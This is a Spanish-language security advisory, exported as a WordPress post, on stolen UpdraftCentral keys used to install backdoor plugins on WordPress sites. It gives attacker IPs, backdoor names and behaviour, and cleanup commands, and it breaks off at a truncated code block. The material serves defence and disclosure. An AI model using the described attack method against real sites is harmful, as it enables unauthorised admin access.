{"id":9629,"date":"2026-10-19T07:44:05","date_gmt":"2026-10-19T05:44:05","guid":{"rendered":"https:\/\/nethemba.com\/updraftcentral-backdoor-analisis\/"},"modified":"2026-10-26T04:36:27","modified_gmt":"2026-10-26T03:36:27","slug":"updraftcentral-backdoor-analisis","status":"publish","type":"post","link":"https:\/\/nethemba.com\/es\/updraftcentral-backdoor-analisis\/","title":{"rendered":"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs"},"content":{"rendered":"<h2 id=\"resumen\">Resumen<\/h2>\n<p><em>Situaci\u00f3n a 22 de octubre de 2026, \u00faltima actualizaci\u00f3n el 22\/10\/2026 (nuevos comunicados del fabricante, script de comprobaci\u00f3n v9). La lista de cambios est\u00e1 al final del art\u00edculo. Seguiremos actualizando el texto seg\u00fan evolucione la situaci\u00f3n.<\/em><\/p>\n<p><strong>Actualizaci\u00f3n 19\/10\/2026:<\/strong> TeamUpdraft ha <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">confirmado un incidente de seguridad<\/a>. Durante el fin de semana del 17 y 18 de octubre un atacante tuvo acceso no autorizado a teamupdraft.com y, seg\u00fan el fabricante, probablemente obtuvo la base de datos de clientes: nombres, correos, direcciones de facturaci\u00f3n, historial de pedidos, hashes de contrase\u00f1as, la configuraci\u00f3n de la autenticaci\u00f3n en dos pasos y las claves de conexi\u00f3n de UpdraftCentral (nube), UpdraftVault y UpdraftClone. Las claves con las que el atacante firm\u00f3 las \u00f3rdenes se filtraron, por tanto, directamente del fabricante. El fabricante ha cerrado la sesi\u00f3n de todas las cuentas, ha sustituido las claves de UpdraftVault y UpdraftClone y prepara una versi\u00f3n de emergencia de UpdraftPlus que desconectar\u00e1 autom\u00e1ticamente todas las conexiones de UpdraftCentral creadas antes de las 22:00 BST del 18 de octubre de 2026 (23:00 CEST). M\u00e1s tarde corrigi\u00f3 ese l\u00edmite en su comunicado a las 13:07 BST (14:07 CEST), v\u00e9ase m\u00e1s abajo. Seg\u00fan el fabricante, UpdraftCentral alojado en servidor propio no est\u00e1 afectado.<\/p>\n<p><strong>Actualizaci\u00f3n 19\/10\/2026 (tarde):<\/strong> <a href=\"https:\/\/patchstack.com\/articles\/updraftcentral-key-compromise-wordpress-backdoors\/\">Patchstack ha publicado su propio an\u00e1lisis<\/a>, que confirma y ampl\u00eda nuestras conclusiones. Vio 99 nombres distintos de plugins con puerta trasera instalados entre el 18\/10 a las 15:32 y el 19\/10 a las 9:23, y una segunda direcci\u00f3n IP del atacante, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>. Tambi\u00e9n nos han escrito otros administradores afectados. Uno de ellos encontr\u00f3 una <strong>segunda variante de la puerta trasera que crea un administrador e intenta ocultarlo<\/strong>. La describimos m\u00e1s abajo y hemos actualizado el script de comprobaci\u00f3n para que la detecte. Si ya ejecut\u00f3 el script, vuelva a ejecutarlo.<\/p>\n<p><strong>Actualizaci\u00f3n 19\/10\/2026 (variante funcional):<\/strong> Otro administrador confirm\u00f3 que <strong>circula una versi\u00f3n funcional de la puerta trasera<\/strong>. En sus webs funcionaron tres de las cuatro puertas traseras, cada una con un nombre y una descripci\u00f3n distintos. Sin el par\u00e1metro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m<\/code> inicia la sesi\u00f3n del atacante como un administrador existente y <strong>no deja ning\u00fan rastro en la base de datos<\/strong>, as\u00ed que revise tambi\u00e9n el registro de accesos (ver abajo). Hemos actualizado el script de comprobaci\u00f3n a la versi\u00f3n 3, que detecta estas muestras por su c\u00f3digo.<\/p>\n<p><strong>Actualizaci\u00f3n 19\/10\/2026 (an\u00e1lisis de muestras):<\/strong> Otro administrador afectado nos envi\u00f3 tres puertas traseras de sus webs. El atacante instal\u00f3 all\u00ed primero la primera variante defectuosa y despu\u00e9s puertas traseras funcionales. <strong>Si encontr\u00f3 la primera variante pero no borr\u00f3 enseguida la clave de UpdraftCentral, revise la web de nuevo.<\/strong> As\u00ed pudimos analizar nosotros mismos una muestra de la segunda variante. La ocultaci\u00f3n de la cuenta no funciona, de modo que el administrador que crea aparece con normalidad en la lista de usuarios. La tercera muestra es una nueva variante m\u00ednima que solo inicia la sesi\u00f3n del atacante como un administrador existente. El script de comprobaci\u00f3n la detecta desde la versi\u00f3n 4.<\/p>\n<p><strong>Actualizaci\u00f3n 19\/10\/2026 (el atacante sigue volviendo):<\/strong> El atacante sigue activo. Durante el 19 de octubre envi\u00f3 m\u00e1s \u00f3rdenes a nuestras tres webs, la \u00faltima a las 20:27 CEST. En la web de otro administrador borr\u00f3 a las 12:22 CEST la puerta trasera defectuosa con <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.delete_plugin<\/code> y dos segundos despu\u00e9s subi\u00f3 una nueva. En nuestras webs el mu-plugin del paso 3 bloque\u00f3 estos intentos, y las claves ya estaban borradas. <strong>Borre la clave de UpdraftCentral aunque ya haya eliminado la puerta trasera.<\/strong> Los intentos bloqueados por el mu-plugin no aparecen en el registro de UpdraftCentral, solo en el registro de accesos.<\/p>\n<p><strong>Actualizaci\u00f3n 19\/10\/2026 (versi\u00f3n de emergencia):<\/strong> El fabricante public\u00f3 UpdraftPlus 1.26.12 \/ 2.26.12 para borrar las claves de UpdraftCentral Cloud anteriores al incidente. Hemos comprobado en el c\u00f3digo que, por un error, no borra ninguna clave. El fabricante lo corrigi\u00f3 esa misma noche en la 1.26.13 \/ 2.26.13. <strong>Actualice a la 1.26.13 \/ 2.26.13 o posterior, no a la 1.26.12 \/ 2.26.12.<\/strong> Pero ni siquiera la 1.26.13 borra las claves creadas el 18\/10 entre las 14:07 y las 23:00 CEST, aunque el fabricante indic\u00f3 en un principio en su comunicado las 23:00 CEST como l\u00edmite. En el comunicado actualizado el 23\/10 indica las 14:07 CEST (13:07 BST), lo que coincide con el c\u00f3digo. Por precauci\u00f3n, borre a mano las claves creadas m\u00e1s tarde el 18\/10; las instrucciones del fabricante aconsejan de todos modos borrar la clave en cada web. Los ataques a nuestras webs empezaron solo despu\u00e9s de que el fabricante confirmara la brecha y cerrara el acceso al atacante: las claves robadas funcionan hasta que la web las borra. Nuestras webs con la versi\u00f3n premium la recibieron autom\u00e1ticamente el 20\/10.<\/p>\n<p><strong>Actualizaci\u00f3n 20\/10\/2026 (claves sin que el propietario lo sepa):<\/strong> Puede tener una clave de UpdraftCentral aunque nunca haya usado UpdraftCentral. Al iniciar sesi\u00f3n con la cuenta de teamupdraft.com en UpdraftPlus, gratuito o premium, la casilla \u00abAdd this website to UpdraftCentral\u00bb est\u00e1 marcada por defecto. Revise por tanto si hay una clave en cada web con UpdraftPlus. Otro administrador afectado nos escribi\u00f3 que nunca activ\u00f3 UpdraftCentral. Su web ten\u00eda Wordfence, Patchstack y Cloudflare, y ninguno detuvo la orden de UpdraftCentral firmada v\u00e1lidamente.<\/p>\n<p><strong>Actualizaci\u00f3n 20\/10\/2026 (puerta trasera oculta):<\/strong> Otro administrador nos envi\u00f3 tres puertas traseras de una sola web. Una de ellas, \u00abSite Health Cache\u00bb, se oculta de la lista de plugins del administrador, as\u00ed que no la ver\u00e1 all\u00ed. Conf\u00ede por tanto en el script de comprobaci\u00f3n, que lee los archivos directamente del disco. En esa web el atacante subi\u00f3 la variante m\u00ednima, la funcional y la defectuosa en menos de diez horas.<\/p>\n<p><strong>Actualizaci\u00f3n 20\/10\/2026 (m\u00e1s muestras):<\/strong> Tres administradores nos enviaron diez muestras m\u00e1s. Todas pertenecen a las tres variantes conocidas; solo cambian el nombre, la descripci\u00f3n, el autor falso y el token. En dos webs de un mismo administrador, puertas traseras funcionales estuvieron activas m\u00e1s de tres horas antes de que la variante defectuosa hiciera caer la web. <strong>Que la web se cayera no significa que el atacante no pudiera entrar antes.<\/strong> Revise tambi\u00e9n en ese caso el registro de accesos. Tambi\u00e9n este administrador dice que nunca us\u00f3 UpdraftCentral.<\/p>\n<p><strong>Actualizaci\u00f3n 20\/10\/2026 (el atacante prueba las puertas traseras):<\/strong> El 20 de octubre el atacante prob\u00f3 directamente los disparadores secretos de puertas traseras ya eliminadas en al menos seis webs de cuatro administradores, dos de ellas nuestras (a las 11:39 y 11:57 UTC en las nuestras). En nuestras webs us\u00f3 los tokens correctos. Las peticiones llegaron desde las IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.83.37.220<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.83.37.243<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.94.218.31<\/code> y desde los rangos <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.133.x<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.134.x<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.144.x<\/code>, siempre con el User-Agent recortado <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<\/code>. Todas devolvieron su p\u00e1gina normal o un error, porque las puertas traseras ya no estaban. <strong>Si todav\u00eda tiene una puerta trasera en su web, el atacante la est\u00e1 usando activamente.<\/strong> Busque en su registro de accesos como se describe m\u00e1s abajo.<\/p>\n<p><strong>Actualizaci\u00f3n 21\/10\/2026 (el atacante sigue enviando \u00f3rdenes):<\/strong> Tambi\u00e9n la ma\u00f1ana del 21 de octubre el atacante envi\u00f3 desde <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> m\u00e1s \u00f3rdenes de UpdraftCentral a dos de nuestras webs (de 07:10 a 09:21 UTC), ya despu\u00e9s de publicarse la versi\u00f3n 1.26.13 \/ 2.26.13. En nuestro caso las detuvo el mu-plugin y las claves ya no exist\u00edan. As\u00ed que el atacante sigue usando las claves filtradas. <strong>Siguen en riesgo las webs que no tienen la 1.26.13 \/ 2.26.13 y no han borrado la clave a mano.<\/strong><\/p>\n<table>\n<tbody>\n<tr class=\"odd\">\n<td><strong>Qu\u00e9 est\u00e1 afectado<\/strong><\/td>\n<td>el servicio UpdraftCentral, cuyo cliente forma parte del plugin UpdraftPlus, gratuito y premium<\/td>\n<\/tr>\n<tr class=\"even\">\n<td><strong>Versiones afectadas<\/strong><\/td>\n<td>todas las versiones de UpdraftPlus hasta la 1.26.12 y la 2.26.12 conectadas a UpdraftCentral Cloud mediante una conexi\u00f3n creada hasta el 18\/10\/2026 inclusive. La versi\u00f3n 1.26.13 \/ 2.26.13 borra las claves creadas antes de las 14:07 CEST (13:07 BST) del 18\/10. Desde su actualizaci\u00f3n del 23\/10, el comunicado del fabricante indica el mismo l\u00edmite (en un principio, las 23:00 CEST). Las claves creadas m\u00e1s tarde el 18\/10 siguen en la web; por precauci\u00f3n, b\u00f3rrelas a mano. En webs conectadas con versiones hasta la 1.26.4 y la 2.26.4, al atacante ni siquiera le hacen falta claves v\u00e1lidas (CVE-2026-10795).<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td><strong>Cu\u00e1ntas webs<\/strong><\/td>\n<td>Seg\u00fan wordpress.org, UpdraftPlus tiene m\u00e1s de 4 millones de instalaciones activas, y el fabricante lo presenta como el plugin de copias de seguridad programadas m\u00e1s popular del mundo. Con el fallo de junio en el mismo canal, el fabricante estim\u00f3 que menos del 10 % de los usuarios tienen una clave de UpdraftCentral o de Migrator, es decir, hasta unas 400 000 webs. No sabemos a cu\u00e1ntas de ellas atac\u00f3.<\/td>\n<\/tr>\n<tr class=\"even\">\n<td><strong>Correcci\u00f3n<\/strong><\/td>\n<td>el fabricante public\u00f3 el 19\/10 UpdraftPlus 1.26.12 \/ 2.26.12 para borrar las claves antiguas de UpdraftCentral Cloud, pero por un error no borra ninguna. Solo funciona la 1.26.13 \/ 2.26.13, publicada esa misma noche: en cada carga de la web borra las claves de UpdraftCentral Cloud creadas antes de las 14:07 CEST del 18\/10\/2026. Las claves creadas entre las 14:07 y las 23:00 CEST (el l\u00edmite que el fabricante indic\u00f3 en un principio) hay que borrarlas a mano, igual que en las webs que a\u00fan no se han actualizado. Las instrucciones del fabricante aconsejan de todos modos borrar la clave en cada web. Seg\u00fan el fabricante, WordPress.org distribuy\u00f3 la 1.26.13 autom\u00e1ticamente a todas las webs.<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td><strong>Soluci\u00f3n temporal<\/strong><\/td>\n<td>eliminar la conexi\u00f3n con UpdraftCentral, revisar la web con nuestro script, cambiar la contrase\u00f1a de teamupdraft.com y, opcionalmente, bloquear las \u00f3rdenes de UpdraftCentral con un peque\u00f1o mu-plugin (ver abajo). No hace falta desinstalar UpdraftPlus; las copias de seguridad siguen funcionando.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>La noche del 19 de octubre de 2026 un atacante desde la direcci\u00f3n IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> envi\u00f3 a trav\u00e9s del servicio UpdraftCentral la orden <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> a tres de nuestras webs con WordPress. UpdraftCentral es un servicio de gesti\u00f3n remota de webs de TeamUpdraft, y su cliente est\u00e1 integrado en cada copia del plugin UpdraftPlus. En dos de nuestras webs la orden se ejecut\u00f3 y WordPress instal\u00f3 y activ\u00f3 un plugin desconocido. En la tercera fall\u00f3 por falta de permisos.<\/p>\n<p>El fallo no estaba de nuestro lado. Las tres webs ten\u00edan WordPress 7.1.3 y UpdraftPlus 2.26.11 actualizados, este \u00faltimo corregido contra la vulnerabilidad de junio CVE-2026-10795. El atacante no entr\u00f3 en nuestros servidores ni aprovech\u00f3 ning\u00fan error de nuestra configuraci\u00f3n. Lleg\u00f3 por el canal de gesti\u00f3n remota de UpdraftCentral y firm\u00f3 sus \u00f3rdenes con claves privadas v\u00e1lidas del panel. Esas claves las genera y custodia el servicio UpdraftCentral Cloud y nunca han estado en nuestros servidores. Quien las tenga puede instalar y ejecutar cualquier c\u00f3digo en cada web conectada sin que su propietario lo sepa. Por eso lo consideramos un problema de seguridad cr\u00edtico del servicio UpdraftCentral.<\/p>\n<p><strong>Qui\u00e9n est\u00e1 en riesgo:<\/strong> toda web con UpdraftPlus, gratuito o premium, que est\u00e9 conectada a UpdraftCentral, es decir, que tenga una clave de UpdraftCentral. Cada una de las m\u00e1s de 4 millones de instalaciones de UpdraftPlus contiene el cliente de UpdraftCentral. Las webs que no est\u00e1n conectadas a UpdraftCentral no corren riesgo por este ataque, porque sin clave no aceptan \u00f3rdenes de UpdraftCentral. Nuestras webs estaban conectadas a UpdraftCentral Cloud, el panel que opera TeamUpdraft. Seg\u00fan el fabricante, los paneles de UpdraftCentral alojados en servidor propio no est\u00e1n afectados. Tambi\u00e9n se filtraron las claves de UpdraftVault y UpdraftClone, que el fabricante ya ha sustituido. La clave puede haberse creado sin que el propietario lo supiera: al iniciar sesi\u00f3n con la cuenta de teamupdraft.com en la pesta\u00f1a Premium \/ Extensions, tanto la versi\u00f3n gratuita como la premium ofrecen la casilla \u00abAdd this website to UpdraftCentral\u00bb, marcada por defecto mientras la web no tenga ninguna clave (lo comprobamos en el c\u00f3digo de las versiones 2.26.11 y 1.26.13). Instalar el plugin no crea por s\u00ed solo ninguna clave; la crea iniciar sesi\u00f3n con una cuenta de teamupdraft.com dentro del plugin. Por eso afecta sobre todo a las webs premium, cuyo propietario inicia sesi\u00f3n para la licencia y las actualizaciones, y a las webs gratuitas que se conectaron alguna vez a una cuenta.<\/p>\n<p>No se trata de la vulnerabilidad CVE-2026-10795, sobre la que Wordfence escribi\u00f3 en junio: nuestras webs estaban corregidas y los intentos de explotarla en ellas fallaban.<\/p>\n<p>El plugin es una puerta trasera. Con un enlace secreto deb\u00eda crear una cuenta con permisos de administrador camuflados e iniciar sesi\u00f3n del atacante directamente en ella. Su autor cometi\u00f3 un error en el c\u00f3digo, as\u00ed que en nuestras webs la puerta trasera nunca funcion\u00f3. En su lugar hizo fallar cada petici\u00f3n a la web que no se serv\u00eda desde la cach\u00e9, y WordPress nos avis\u00f3 por correo. As\u00ed la encontramos en cuesti\u00f3n de minutos a horas. Otros administradores, sin embargo, ya han encontrado variantes funcionales, que describimos m\u00e1s abajo.<\/p>\n<p>Comunicamos el incidente a TeamUpdraft el 19 de octubre y les pedimos que expliquen c\u00f3mo llegaron las claves al atacante.<\/p>\n<p><strong>Si su web est\u00e1 conectada a UpdraftCentral, consid\u00e9rela potencialmente comprometida hasta haberla revisado.<\/strong> Elimine la conexi\u00f3n de inmediato y revise la web como se describe abajo. A 19 de octubre de 2026 no encontramos ninguna menci\u00f3n p\u00fablica de esta puerta trasera ni de un ataque similar posterior a la correcci\u00f3n de junio.<\/p>\n<h2 id=\"qu\u00e9-hacer-ahora-mismo\">Qu\u00e9 hacer ahora mismo<\/h2>\n<h3 id=\"elimine-la-conexi\u00f3n-con-updraftcentral\">1. Elimine la conexi\u00f3n con UpdraftCentral<\/h3>\n<p>Actualice UpdraftPlus a la versi\u00f3n 1.26.13 (gratuita) o 2.26.13 (premium) o posterior. Esta borra por s\u00ed sola las claves de UpdraftCentral Cloud creadas antes de las 14:07 CEST del 18\/10\/2026. La versi\u00f3n 1.26.12 \/ 2.26.12 no las borra. Despu\u00e9s compruebe de todos modos que no quede ninguna clave en la web:<\/p>\n<p>En el administrador de WordPress abra Ajustes \u2192 UpdraftPlus Backups \u2192 pesta\u00f1a \u00abAdvanced Tools\u00bb \u2192 \u00abUpdraftCentral\u00bb. Haga clic en \u00abManage existing keys (N)\u2026\u00bb y luego en \u00abDelete\u2026\u00bb junto a cada clave. Si no aparece ninguna clave, la web no est\u00e1 conectada.<\/p>\n<p>Con acceso a la l\u00ednea de comandos, lo mismo se hace con esta orden en el directorio ra\u00edz de WordPress:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp option delete updraft_central_localkeys<\/code><\/pre>\n<p>Despu\u00e9s elimine tambi\u00e9n la web del panel de UpdraftCentral (teamupdraft.com \u2192 My account \u2192 UpdraftCentral \u2192 \u2022\u2022\u2022 junto a la web \u2192 Remove site). Eliminarla solo del panel no basta. El atacante tiene la clave privada del panel, as\u00ed que lo decisivo es borrar la clave en la web.<\/p>\n<p>Seg\u00fan el fabricante, puede volver a conectar la web despu\u00e9s de borrar la clave, revisarla y cambiar las contrase\u00f1as de los administradores. Antes, cambie la contrase\u00f1a de su cuenta de teamupdraft.com (escriba usted mismo la direcci\u00f3n en el navegador, no siga enlaces de correos), cambie esa misma contrase\u00f1a donde la haya reutilizado y vuelva a configurar la autenticaci\u00f3n en dos pasos. Si instal\u00f3 nuestro mu-plugin de bloqueo, elim\u00ednelo antes de volver a conectar. Quien use UpdraftVault debe volver a conectar sus webs con las nuevas credenciales.<\/p>\n<p>Si la web tiene tambi\u00e9n claves de UpdraftPlus Migrator (pesta\u00f1a \u00abMigrate \/ Clone\u00bb) y no est\u00e1 migrando ahora mismo, b\u00f3rrelas tambi\u00e9n, por ejemplo con <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp option delete updraft_migrator_localkeys<\/code>. Usan el mismo canal y permiten a otra web enviar archivos de copia de seguridad a la suya. Hasta ahora no hemos visto que se abusara de ellas.<\/p>\n<p>UpdraftPlus Premium guarda la contrase\u00f1a de la cuenta de teamupdraft.com en la base de datos tal como la introduce (opci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">updraftplus-addons_options<\/code>) y solo la borra tras un inicio de sesi\u00f3n correcto mediante token. Por eso puede quedarse en la base de datos y en sus copias de seguridad. En la pr\u00e1ctica suele quedarse para siempre. Un lector la encontr\u00f3 en sus tres webs con la versi\u00f3n premium y en copias de seguridad desde 2022, y comprob\u00f3 que una simple conexi\u00f3n con la cuenta en la pesta\u00f1a Premium \/ Extensions la guarda. Nosotros la encontramos en una de nuestras tres webs. El fabricante dice que la contrase\u00f1a se borra tras la primera conexi\u00f3n, pero el c\u00f3digo solo la borra despu\u00e9s de reclamar con \u00e9xito los complementos mediante el token. Puede eliminarla con la orden siguiente; las actualizaciones del plugin no la necesitan. Despu\u00e9s cambie la contrase\u00f1a de la cuenta. Si vuelve a iniciar sesi\u00f3n en la cuenta desde el plugin, desmarque la casilla \u00abAdd this website to UpdraftCentral\u00bb. En las muestras de esta campa\u00f1a analizadas hasta ahora no hemos encontrado c\u00f3digo que lea esta contrase\u00f1a, pero cualquier puerta trasera funcional o plugin subido puede leerla.<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp eval &#39;$o = get_option(&quot;updraftplus-addons_options&quot;); if (is_array($o)) { unset($o[&quot;password&quot;]); update_option(&quot;updraftplus-addons_options&quot;, $o); }&#39;<\/code><\/pre>\n<h3 id=\"compruebe-si-la-puerta-trasera-est\u00e1-en-su-web\">2. Compruebe si la puerta trasera est\u00e1 en su web<\/h3>\n<p>Sin l\u00ednea de comandos:<\/p>\n<ul>\n<li>En la misma pantalla de UpdraftCentral haga clic en \u00abView recent UpdraftCentral log events\u2026\u00bb. Busque las l\u00edneas \u00abCommand received: plugin.upload_plugin\u00bb, \u00abCommand received: plugin.delete_plugin\u00bb y \u00abprobe.central.updraftplus.com\u00bb. Si la web est\u00e1 detr\u00e1s de un proxy como Cloudflare, el registro muestra la IP del proxy, no la del atacante. Las l\u00edneas \u00abSignature verification failed; discarding\u00bb significan que el atacante lo intent\u00f3, pero su clave no coincid\u00eda con la web y la web descart\u00f3 la orden.<\/li>\n<li>En la lista de plugins busque uno que usted no haya instalado. La primera variante tiene la descripci\u00f3n \u00abSmall maintenance toolkit: keeps option storage tidy.\u00bb y un nombre de dos palabras, normalmente seguido de tres caracteres, por ejemplo \u00abLoad Stack 35C\u00bb o \u00abQuery Shelf\u00bb. Las dem\u00e1s variantes cambian de nombre y descripci\u00f3n cada vez, por ejemplo \u00abBoost Kit\u00bb, \u00abCache Smith\u00bb o \u00abSite Health 364F\u00bb. Sin embargo, algunas variantes se ocultan de la lista de plugins, as\u00ed que mirarla no basta.<\/li>\n<li>En la lista de usuarios busque una cuenta llamada \u00abSite Tools\u00bb o con un correo en <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.org<\/code> o <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.com<\/code>. La variante funcional crea un administrador e intenta ocultarlo, pero aparece en la lista con normalidad.<\/li>\n<li>Si una puerta trasera inicia la sesi\u00f3n del atacante como un administrador existente, no crea ninguna cuenta. Entonces solo la delatan el plugin y el registro de accesos, as\u00ed que revise la web tambi\u00e9n con el script y mire el registro de accesos.<\/li>\n<\/ul>\n<p>Si la primera variante de la puerta trasera est\u00e1 en la web, puede que el administrador no funcione, porque el plugin hace fallar cada petici\u00f3n. En ese caso use la l\u00ednea de comandos.<\/p>\n<p>Con l\u00ednea de comandos, guarde nuestro script de comprobaci\u00f3n del final del art\u00edculo como <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">check-updraftcentral.php<\/code> en el directorio ra\u00edz de WordPress y ejecute:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp eval-file check-updraftcentral.php --skip-plugins --skip-themes<\/code><\/pre>\n<p>El script solo lee y no cambia nada. La opci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">--skip-plugins<\/code> es importante, porque una puerta trasera instalada har\u00eda fallar tambi\u00e9n WP-CLI. Las l\u00edneas <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[ALERT]<\/code> son rastros del ataque, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[WARN]<\/code> indica algo que revisar y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[OK]<\/code> es un resultado limpio. Que una orden aparezca en el registro no significa todav\u00eda que el plugin se instalara (en una de nuestras webs no se instal\u00f3), por eso el script revisa tambi\u00e9n archivos, opciones de la base de datos y cuentas. Si informa de algo con <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[ALERT]<\/code>, siga en la secci\u00f3n \u00abQu\u00e9 hacer si la encuentra\u00bb.<\/p>\n<p>UpdraftPlus solo guarda los \u00faltimos 50 eventos en el registro de UpdraftCentral. En una web que visitan a menudo los esc\u00e1neres, el rastro del ataque puede desaparecer del registro y entonces el script da <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[OK]<\/code> para el registro. Si tiene acceso a los registros del servidor web, rev\u00edselos tambi\u00e9n (ajuste la ruta a su servidor; con nginx, por ejemplo, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">\/var\/log\/nginx\/<\/code>):<\/p>\n<pre 